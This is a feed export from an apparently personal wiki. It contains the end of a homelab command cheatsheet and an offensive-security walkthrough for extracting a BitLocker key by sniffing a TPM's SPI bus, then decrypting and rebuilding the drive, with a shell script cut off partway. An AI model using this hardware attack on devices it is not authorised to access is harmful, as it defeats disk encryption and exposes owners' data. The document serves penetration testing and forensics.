&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
rclone copy source:path dest:destpath&lt;br /&gt;
# Example - This will copy all the contet from D: drive to secret_folder&lt;br /&gt;
rclone copy D: secret:secret_folder&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Batch script for copying files from source to dest when config have password set. Windows and powershell. [https://forum.rclone.org/t/how-to-use-rclone-password-command-with-windows-powershell-for-config-password/15950 Courtesy of pg1.]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generate your secure password to a disk file (for the purprose of this example, U:\rcpw.txt):&lt;br /&gt;
Read-Host -Prompt &#039;Enter rclone configuration password&#039; -AsSecureString | ConvertFrom-SecureString | Out-File -FilePath U:\rcpw.txt&lt;br /&gt;
# Create a Powershell script (for the purpose of this example, C:\xx\rcpw.ps1) to return the decrypted password from the file you created in the previous step (notice how this file is referenced in the -Path parameter). Contents of C:\xx\rcpw.ps1:&lt;br /&gt;
(New-Object -TypeName PSCredential -ArgumentList @( &#039;user&#039;, ((Get-Content -Path U:\rcpw.txt) | ConvertTo-SecureString))).GetNetworkCredential().Password&lt;br /&gt;
# Test it:&lt;br /&gt;
rclone -vv --password-command &amp;quot;powershell C:\xx\rcpw.ps1&amp;quot; about Secretplex:&lt;br /&gt;
# Once this works, you can default the password-command parameter via setting the environment variable RCLONE_PASSWORD_COMMAND to:&lt;br /&gt;
powershell C:\xx\rcpw.ps1&lt;br /&gt;
# Use --password-command in your batch file&lt;br /&gt;
C:\rclone-v1.53.2\rclone.exe -v --password-command &amp;quot;powershell C:\rclone-v1.53.2\rcpw.ps1&amp;quot; copy A: Secretplex:A --log-file C:\rclone-v1.53.2\RcloneLogFile\RcloneA.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Elastic Stack ==&lt;br /&gt;
&lt;br /&gt;
Test filebeat can connect to the output by using the current settings&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
filebeat test output&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Test filebeat configuration settings&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
filebeat test config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Verify logstash config&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo -u logstash /usr/share/logstash/bin/logstash --path.settings /etc/logstash -t&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
List elasticsearch indexes&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# List indexes&lt;br /&gt;
curl localhost:9200/_cat/indices?v&lt;br /&gt;
# List indexes with username and pass&lt;br /&gt;
curl -u username:passord localhost:9200/_cat/indices?v&lt;br /&gt;
# Delete index&lt;br /&gt;
curl -XDELETE localhost:9200/shop&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Netplan ==&lt;br /&gt;
&lt;br /&gt;
Set static IP for host - example&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
# For more information, see netplan(5).&lt;br /&gt;
network:&lt;br /&gt;
  version: 2&lt;br /&gt;
  renderer: networkd&lt;br /&gt;
  ethernets:&lt;br /&gt;
    enp0s3:&lt;br /&gt;
     dhcp4: no&lt;br /&gt;
     addresses: [192.168.1.222/24]&lt;br /&gt;
     gateway4: 192.168.1.1&lt;br /&gt;
     nameservers:&lt;br /&gt;
       addresses: [8.8.8.8,8.8.4.4]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Snort ==&lt;br /&gt;
&lt;br /&gt;
Test Snort config&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
snort -c /usr/local/etc/snort/snort.lua&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Storage analyzer on linux ==&lt;br /&gt;
&lt;br /&gt;
To find what&#039;s using storage on a Linux system, you can use various commands to analyze disk usage. Here are some commonly used commands:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;df&amp;lt;/code&amp;gt; command: The &amp;lt;code&amp;gt;df&amp;lt;/code&amp;gt; (disk free) command shows the disk space usage of file systems. It displays information about mounted filesystems, their sizes, used space, available space, and mount points.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
df -h&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;-h&amp;lt;/code&amp;gt; option makes the output human-readable with sizes in &amp;quot;KB,&amp;quot; &amp;quot;MB,&amp;quot; &amp;quot;GB,&amp;quot; etc.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;du&amp;lt;/code&amp;gt; command: The &amp;lt;code&amp;gt;du&amp;lt;/code&amp;gt; (disk usage) command is used to estimate file and directory space usage.&lt;br /&gt;
&lt;br /&gt;
To check the disk usage of the current directory:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
du -h&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To check the disk usage of a specific directory:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
du -h /path/to/directory&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;ncdu&amp;lt;/code&amp;gt; command (NCurses Disk Usage): &amp;lt;code&amp;gt;ncdu&amp;lt;/code&amp;gt; is a more advanced disk usage analyzer with a text-based user interface. It provides a more detailed and interactive view of disk usage.&lt;br /&gt;
&lt;br /&gt;
To install ncdu on Ubuntu/Debian:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo apt update&lt;br /&gt;
sudo apt install ncdu&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To use ncdu:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ncdu /path/to/directory&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;lsof&amp;lt;/code&amp;gt; command (List Open Files): The &amp;lt;code&amp;gt;lsof&amp;lt;/code&amp;gt; command can be used to list all open files and the processes that are using them. This can be useful to identify processes that might be holding onto large log files or other data.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo lsof | grep deleted&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This command will list files marked as &amp;quot;(deleted)&amp;quot; that are still held open by processes. These files may not be visible in the file system but are still using disk space until the processes release them.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;find&amp;lt;/code&amp;gt; command: The &amp;lt;code&amp;gt;find&amp;lt;/code&amp;gt; command can be used to search for files based on various criteria, including size.&lt;br /&gt;
&lt;br /&gt;
To find large files in a directory:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
find /path/to/directory -type f -size +1G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This will list all files larger than 1GB in the specified directory.&lt;br /&gt;
[[Category:Cheatsheets]]&lt;br /&gt;
[[Category:HomeLab]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Offensive_Security/Extract_BitLocker_VMK_from_TPM&amp;diff=2312</id>
		<title>Offensive Security/Extract BitLocker VMK from TPM</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Offensive_Security/Extract_BitLocker_VMK_from_TPM&amp;diff=2312"/>
		<updated>2026-02-18T08:15:25Z</updated>

		<summary type="html">&lt;p&gt;Administrator: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= BitLocker VMK Extraction via SPI =&lt;br /&gt;
&lt;br /&gt;
== Prerequisites ==&lt;br /&gt;
* Discrete TPM. Check for specific manufacturer (Infineon, STMicro, Nuvoton). If you see Intel PTT or AMD fTPM in BIOS, that means it&#039;s a firmware-based TPM.&lt;br /&gt;
* A logic analyzer. In the office we have a [https://www.saleae.com/ Saleae].&lt;br /&gt;
* Logic analyzer software. We use [https://www.saleae.com/downloads/ Logic 2].&lt;br /&gt;
&lt;br /&gt;
== Extracting BitLocker VMK ==&lt;br /&gt;
&lt;br /&gt;
=== Locating the TPM Chip ===&lt;br /&gt;
The first step is to locate the TPM chip on the motherboard. The easiest way is to find a schematic for the motherboard and look for the TPM chip description. It is usually close to the CPU.&lt;br /&gt;
&lt;br /&gt;
The best way to find schematics is to find the model number of the motherboard and search for that + &amp;quot;schematics&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Sources for finding schematics:&lt;br /&gt;
* [https://t.me/ schematics|boardviews|ARCHIVE 💻💻]&lt;br /&gt;
* [https://www.badcaps.net/ Badcaps - Laptop, TV, &amp;amp; Other Electronics Repair Forum]&lt;br /&gt;
* Indiafix&lt;br /&gt;
&lt;br /&gt;
Once you locate the correct schematic (typically a .CAD file), leveraging an LLM can significantly accelerate TPM chip identification. LLMs can parse CAD files and quickly pinpoint the TPM component, saving considerable time during the reconnaissance phase.&lt;br /&gt;
&lt;br /&gt;
=== Locating the SPI Bus Pins ===&lt;br /&gt;
After identifying the TPM chip, locate the following SPI bus pins:&lt;br /&gt;
* &#039;&#039;&#039;CLK&#039;&#039;&#039; (Clock)&lt;br /&gt;
* &#039;&#039;&#039;CS&#039;&#039;&#039; (Chip Select)&lt;br /&gt;
* &#039;&#039;&#039;MOSI&#039;&#039;&#039; (Master Out, Slave In)&lt;br /&gt;
* &#039;&#039;&#039;MISO&#039;&#039;&#039; (Master In, Slave Out)&lt;br /&gt;
&lt;br /&gt;
Additionally, establish a proper ground connection to complete the circuit — this step is essential for reliable signal capture.&lt;br /&gt;
&lt;br /&gt;
=== Configuring Logic 2 ===&lt;br /&gt;
Launch Logic 2. Each wire harness on the Saleae analyzer corresponds to a numbered channel in the software. Create a reference table to ensure correct connections and name them accordingly. Example:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Saleae Channel !! Logic 2 Label !! SPI Signal&lt;br /&gt;
|-&lt;br /&gt;
| Channel 0 || D0 || CLK&lt;br /&gt;
|-&lt;br /&gt;
| Channel 1 || D1 || CS&lt;br /&gt;
|-&lt;br /&gt;
| Channel 2 || D2 || MOSI&lt;br /&gt;
|-&lt;br /&gt;
| Channel 3 || D3 || MISO&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Voltage Configuration:&#039;&#039;&#039; Before capturing, set the correct voltage threshold in Logic 2&#039;s device settings. Consult the chip&#039;s datasheet or motherboard schematic to determine the TPM&#039;s operating voltage (typically 1.8V or 3.3V). Select the appropriate voltage level from the device settings panel to ensure accurate signal detection.&lt;br /&gt;
&lt;br /&gt;
=== Adding the SPI Analyzer ===&lt;br /&gt;
In Logic 2, click &#039;&#039;&#039;Analyzers&#039;&#039;&#039; and add the built-in SPI analyzer. Configure with the following settings:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Setting !! Value&lt;br /&gt;
|-&lt;br /&gt;
| MOSI || Assign to your MOSI channel&lt;br /&gt;
|-&lt;br /&gt;
| MISO || Assign to your MISO channel&lt;br /&gt;
|-&lt;br /&gt;
| Clock || Assign to your CLK channel&lt;br /&gt;
|-&lt;br /&gt;
| Enable (CS) || Active High (if probing from flash chip CS line)&lt;br /&gt;
|-&lt;br /&gt;
| Bits per Transfer || 8 bits&lt;br /&gt;
|-&lt;br /&gt;
| Significant Bit || MSB first&lt;br /&gt;
|-&lt;br /&gt;
| Clock State || Rising edge (most TPMs)&lt;br /&gt;
|-&lt;br /&gt;
| Stream to Terminal || Disabled&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
{{Note|You may need to test both Clock State and Enable Line settings to identify if the clock is high or low when inactive. If you have captured correct SPI traffic but cannot see the BitLocker VMK, analyze the traffic and adjust settings accordingly.}}&lt;br /&gt;
&lt;br /&gt;
=== Loading the BitLocker SPI Toolkit ===&lt;br /&gt;
To automatically identify the VMK in captured SPI traffic, use the [https://github.com/ReversecLabs/bitlocker-spi-toolkit GitHub - ReversecLabs/bitlocker-spi-toolkit].&lt;br /&gt;
&lt;br /&gt;
# Go to &#039;&#039;&#039;Extensions → Load Existing Extension&#039;&#039;&#039;&lt;br /&gt;
# Navigate to the cloned repo&#039;s &amp;lt;code&amp;gt;analyzer&amp;lt;/code&amp;gt; folder&lt;br /&gt;
# Load the &#039;&#039;&#039;BitLocker-Key-Extractor&#039;&#039;&#039; extension&lt;br /&gt;
# Edit the extension settings and set the &#039;&#039;&#039;Input Analyzer&#039;&#039;&#039; to SPI&lt;br /&gt;
# Enable &#039;&#039;&#039;Stream to Terminal&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
=== Attaching Probes and Capturing ===&lt;br /&gt;
Carefully attach the probe hooks to the SPI bus pins. Ensure each connection is secure and making proper electrical contact — poor connections result in signal noise or data loss. Use a magnifying glass if the pins are very small.&lt;br /&gt;
&lt;br /&gt;
# Click &#039;&#039;&#039;Start&#039;&#039;&#039; in Logic 2&lt;br /&gt;
# Immediately power on the target device&lt;br /&gt;
# Wait until Windows has loaded (Windows logo or login screen is visible)&lt;br /&gt;
# Click &#039;&#039;&#039;Stop&#039;&#039;&#039; to end the capture&lt;br /&gt;
&lt;br /&gt;
In the Analyzers panel, locate the BitLocker Key Extractor output. The BitLocker VMK will be displayed as a &#039;&#039;&#039;32-byte hexadecimal string&#039;&#039;&#039; in the Data field. If not immediately visible, scroll through the analyzer results — the VMK annotation typically appears in the latter portion of the boot sequence.&lt;br /&gt;
&lt;br /&gt;
== Decrypting the Drive ==&lt;br /&gt;
&lt;br /&gt;
{{Warning|It is generally recommended &#039;&#039;&#039;NOT&#039;&#039;&#039; to mount the drive on Windows, as the OS may write to the disk, potentially causing issues.}}&lt;br /&gt;
&lt;br /&gt;
Boot a DFIR operating system from USB, such as:&lt;br /&gt;
* [https://tsurugi-linux.org/ Tsurugi Linux]&lt;br /&gt;
* [https://sumuri.com/ SUMURI Digital Forensics (Paladin OS)]&lt;br /&gt;
&lt;br /&gt;
The following commands will mount the drive as &#039;&#039;&#039;read-only&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Create two directories&lt;br /&gt;
sudo mkdir -p /media/bitlocker&lt;br /&gt;
sudo mkdir -p /media/bitlocker_mount&lt;br /&gt;
&lt;br /&gt;
# If your VMK is in hex, convert it to binary&lt;br /&gt;
echo &amp;quot;YOUR_HEX_VMK&amp;quot; | xxd -r -p &amp;gt; vmk.bin&lt;br /&gt;
&lt;br /&gt;
# Use fdisk to identify correct drive&lt;br /&gt;
fdisk -l&lt;br /&gt;
&lt;br /&gt;
# Decrypt with dislocker (READ ONLY)&lt;br /&gt;
sudo dislocker -r -V /dev/sdX -K vmk.bin -- /media/bitlocker&lt;br /&gt;
&lt;br /&gt;
# Mount virtual files&lt;br /&gt;
sudo mount -o loop,ro -t ntfs-3g /media/bitlocker/dislocker-file /media/bitlocker_mount&lt;br /&gt;
&lt;br /&gt;
# Verify read only&lt;br /&gt;
mount | grep bitlocker&lt;br /&gt;
&lt;br /&gt;
# Unmount&lt;br /&gt;
sudo umount /media/bitlocker_mount&lt;br /&gt;
sudo umount /media/bitlocker&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Creating a Bootable VMDK from BitLocker-Encrypted Windows Disk ==&lt;br /&gt;
&lt;br /&gt;
=== Step 1: Mount the Backup Image ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
losetup -Pf --show /path/to/BackupImage.001&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Expected output: &amp;lt;code&amp;gt;/dev/loop0&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/loop1&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Step 2: Inspect Partition Layout ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
fdisk -l /dev/loop1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Example output:&lt;br /&gt;
* &amp;lt;code&amp;gt;/dev/loop1p1&amp;lt;/code&amp;gt; — 500M EFI System&lt;br /&gt;
* &amp;lt;code&amp;gt;/dev/loop1p2&amp;lt;/code&amp;gt; — 128M Microsoft Reserved&lt;br /&gt;
* &amp;lt;code&amp;gt;/dev/loop1p3&amp;lt;/code&amp;gt; — 250G Microsoft Basic Data (BitLocker encrypted)&lt;br /&gt;
* &amp;lt;code&amp;gt;/dev/loop1p4&amp;lt;/code&amp;gt; — 2.4G Windows Recovery Environment&lt;br /&gt;
&lt;br /&gt;
=== Step 3: Decrypt BitLocker Volume ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo &amp;quot;VMK_VALUE&amp;quot; | xxd -r -p &amp;gt; vmk.bin&lt;br /&gt;
dislocker /V /dev/loop1p3 -K vmk.bin -- /mnt/bitlocker&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This creates a decrypted file called &amp;lt;code&amp;gt;dislocker-file&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Step 4: Mount Decrypted Volume ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo mount -o loop,ro -t ntfs-3g /mnt/bitlocker/dislocker-file /mnt/bitlocker_mounted&lt;br /&gt;
mount  # Verify mounted with ro&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 5: Verification Commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Verify loop devices&lt;br /&gt;
losetup -a&lt;br /&gt;
&lt;br /&gt;
# Check partition details&lt;br /&gt;
parted /dev/loop1 unit MiB print&lt;br /&gt;
&lt;br /&gt;
# Verify mounts&lt;br /&gt;
mount | grep loop&lt;br /&gt;
df -h | grep loop&lt;br /&gt;
&lt;br /&gt;
# Check available space&lt;br /&gt;
df -h &amp;quot;OUTPUT-FOLDER&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Verify required tools&lt;br /&gt;
which mkfs.ntfs rsync parted&lt;br /&gt;
&lt;br /&gt;
# Verify decrypted data&lt;br /&gt;
ls -la /mnt/bitlocker_mounted | head -20&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 6: Create Bootable VMDK (Script) ===&lt;br /&gt;
&lt;br /&gt;
The script below will:&lt;br /&gt;
* Create a 244GB raw disk image (adjust based on your image size)&lt;br /&gt;
* Partition it to match the original Windows disk (EFI + MSR + Windows + Recovery)&lt;br /&gt;
* Format EFI partition (FAT32) and copy boot files&lt;br /&gt;
* Format Windows partition (NTFS) and copy all decrypted data&lt;br /&gt;
* Format recovery partition (NTFS)&lt;br /&gt;
* Convert raw image to VMDK format&lt;br /&gt;
* Clean up temporary files&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Notes before running:&#039;&#039;&#039;&lt;br /&gt;
* Lines 16–21: Verify variables are correct before proceeding&lt;br /&gt;
* Line 92: Change partition size depending on image size&lt;br /&gt;
* Line 106: Change depending on image size&lt;br /&gt;
* &#039;&#039;&#039;Time estimate:&#039;&#039;&#039; 30–60 minutes&lt;br /&gt;
* &#039;&#039;&#039;Temporary space needed:&#039;&#039;&#039; ~250GB&lt;br /&gt;
* &#039;&#039;&#039;Final VMDK size:&#039;&#039;&#039; ~74GB (varies by source image)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
# ==============================================================================&lt;br /&gt;
# Script to create a bootable VMDK from BitLocker-decrypted Windows disk&lt;br /&gt;
# ==============================================================================&lt;br /&gt;
set -e&lt;br /&gt;
&lt;br /&gt;
RED=&#039;\033[0;31m&#039;&lt;br /&gt;
GREEN=&#039;\033[0;32m&#039;&lt;br /&gt;
YELLOW=&#039;\033[1;33m&#039;&lt;br /&gt;
NC=&#039;\033[0m&#039;&lt;br /&gt;
&lt;br /&gt;
ENCRYPTED_LOOP=&amp;quot;/dev/loop0&amp;quot;&lt;br /&gt;
DECRYPTED_MOUNT=&amp;quot;/mnt/hgfs/Shared_Kali/Laptop Image/bitlockermount&amp;quot;&lt;br /&gt;
WORK_DIR=&amp;quot;/mnt/hgfs/Shared_Kali/Laptop Image&amp;quot;&lt;br /&gt;
RAW_IMAGE=&amp;quot;$WORK_DIR/new_bootable_disk.img&amp;quot;&lt;br /&gt;
FINAL_VMDK=&amp;quot;$WORK_DIR/Windows_Bootable.vmdk&amp;quot;&lt;br /&gt;
TEMP_LOOP=&amp;quot;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
print_status() { echo -e &amp;quot;${GREEN}[+]${NC} $1&amp;quot;; }&lt;br /&gt;
print_error()  { echo -e &amp;quot;${RED}[!]${NC} $1&amp;quot;; }&lt;br /&gt;
print_warning(){ echo -e &amp;quot;${YELLOW}[*]${NC} $1&amp;quot;; }&lt;br /&gt;
&lt;br /&gt;
cleanup() {&lt;br /&gt;
    print_warning &amp;quot;Cleaning up...&amp;quot;&lt;br /&gt;
    umount /mnt/new_efi 2&amp;gt;/dev/null || true&lt;br /&gt;
    umount /mnt/old_efi 2&amp;gt;/dev/null || true&lt;br /&gt;
    umount /mnt/new_win 2&amp;gt;/dev/null || true&lt;br /&gt;
    rmdir /mnt/new_efi /mnt/old_efi /mnt/new_win 2&amp;gt;/dev/null || true&lt;br /&gt;
    if [ -n &amp;quot;$TEMP_LOOP&amp;quot; ] &amp;amp;&amp;amp; [ -b &amp;quot;$TEMP_LOOP&amp;quot; ]; then&lt;br /&gt;
        losetup -d &amp;quot;$TEMP_LOOP&amp;quot; 2&amp;gt;/dev/null || true&lt;br /&gt;
    fi&lt;br /&gt;
    qemu-nbd --disconnect /dev/nbd0 2&amp;gt;/dev/null || true&lt;br /&gt;
}&lt;br /&gt;
trap cleanup EXIT&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Running pre-flight checks...&amp;quot;&lt;br /&gt;
&lt;br /&gt;
if [ &amp;quot;$EUID&amp;quot; -ne 0 ]; then&lt;br /&gt;
    print_error &amp;quot;Please run as root&amp;quot;; exit 1&lt;br /&gt;
fi&lt;br /&gt;
if ! command -v sgdisk &amp;amp;&amp;gt; /dev/null; then&lt;br /&gt;
    print_error &amp;quot;sgdisk not installed. Run: apt install gdisk&amp;quot;; exit 1&lt;br /&gt;
fi&lt;br /&gt;
if [ ! -b &amp;quot;$ENCRYPTED_LOOP&amp;quot; ]; then&lt;br /&gt;
    print_error &amp;quot;Encrypted loop device $ENCRYPTED_LOOP not found&amp;quot;; exit 1&lt;br /&gt;
fi&lt;br /&gt;
if [ ! -d &amp;quot;$DECRYPTED_MOUNT&amp;quot; ]; then&lt;br /&gt;
    print_error &amp;quot;Decrypted mount point $DECRYPTED_MOUNT not found&amp;quot;; exit 1&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
AVAILABLE_SPACE=$(df -BG &amp;quot;$WORK_DIR&amp;quot; | awk &#039;NR==2 {print $4}&#039; | sed &#039;s/G//&#039;)&lt;br /&gt;
if [ &amp;quot;$AVAILABLE_SPACE&amp;quot; -lt 250 ]; then&lt;br /&gt;
    print_error &amp;quot;Insufficient disk space. Need ~250GB, have ${AVAILABLE_SPACE}GB&amp;quot;; exit 1&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Pre-flight checks passed!&amp;quot;&lt;br /&gt;
print_warning &amp;quot;This will create a ~240GB disk image. Press Ctrl+C to cancel, or Enter to continue...&amp;quot;&lt;br /&gt;
read&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Creating 244GB raw disk image...&amp;quot;&lt;br /&gt;
qemu-img create -f raw &amp;quot;$RAW_IMAGE&amp;quot; 244198M&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Setting up loop device...&amp;quot;&lt;br /&gt;
TEMP_LOOP=$(losetup -fP --show &amp;quot;$RAW_IMAGE&amp;quot;)&lt;br /&gt;
print_status &amp;quot;Using loop device: $TEMP_LOOP&amp;quot;&lt;br /&gt;
sleep 2&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Creating GPT partition table with sgdisk...&amp;quot;&lt;br /&gt;
sgdisk -Z &amp;quot;$TEMP_LOOP&amp;quot; 2&amp;gt;/dev/null || true&lt;br /&gt;
&lt;br /&gt;
sgdisk -n 1:2048:1026047    -t 1:EF00 -c 1:&amp;quot;EFI system partition&amp;quot;        &amp;quot;$TEMP_LOOP&amp;quot;&lt;br /&gt;
sgdisk -n 2:1026048:1288191 -t 2:0C01 -c 2:&amp;quot;Microsoft reserved partition&amp;quot; &amp;quot;$TEMP_LOOP&amp;quot;&lt;br /&gt;
sgdisk -n 3:1288192:494993407 -t 3:0700 -c 3:&amp;quot;Basic data partition&amp;quot;       &amp;quot;$TEMP_LOOP&amp;quot;&lt;br /&gt;
sgdisk -n 4:494993408:0     -t 4:2700 -c 4:&amp;quot;Basic data partition&amp;quot;         &amp;quot;$TEMP_LOOP&amp;quot;&lt;br /&gt;
sgdisk -A 1:set:0 &amp;quot;$TEMP_LOOP&amp;quot;&lt;br /&gt;
sgdisk -A 4:set:62 &amp;quot;$TEMP_LOOP&amp;quot;&lt;br /&gt;
&lt;br /&gt;
partprobe &amp;quot;$TEMP_LOOP&amp;quot; 2&amp;gt;/dev/null || true&lt;br /&gt;
sleep 3&lt;br /&gt;
&lt;br /&gt;
if [ ! -b &amp;quot;${TEMP_LOOP}p1&amp;quot; ]; then&lt;br /&gt;
    print_error &amp;quot;Partition creation failed&amp;quot;; exit 1&lt;br /&gt;
fi&lt;br /&gt;
sgdisk -p &amp;quot;$TEMP_LOOP&amp;quot;&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Formatting EFI partition...&amp;quot;&lt;br /&gt;
mkfs.vfat -F32 &amp;quot;${TEMP_LOOP}p1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Copying EFI boot files...&amp;quot;&lt;br /&gt;
mkdir -p /mnt/new_efi /mnt/old_efi&lt;br /&gt;
mount &amp;quot;${TEMP_LOOP}p1&amp;quot; /mnt/new_efi&lt;br /&gt;
mount &amp;quot;${ENCRYPTED_LOOP}p1&amp;quot; /mnt/old_efi&lt;br /&gt;
cp -av /mnt/old_efi/* /mnt/new_efi/&lt;br /&gt;
umount /mnt/new_efi&lt;br /&gt;
umount /mnt/old_efi&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Formatting Windows partition...&amp;quot;&lt;br /&gt;
mkfs.ntfs -f -Q &amp;quot;${TEMP_LOOP}p3&amp;quot;&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Copying Windows data...&amp;quot;&lt;br /&gt;
mkdir -p /mnt/new_win&lt;br /&gt;
mount &amp;quot;${TEMP_LOOP}p3&amp;quot; /mnt/new_win&lt;br /&gt;
rsync -aP --info=progress2 &amp;quot;$DECRYPTED_MOUNT/&amp;quot; /mnt/new_win/&lt;br /&gt;
&lt;br /&gt;
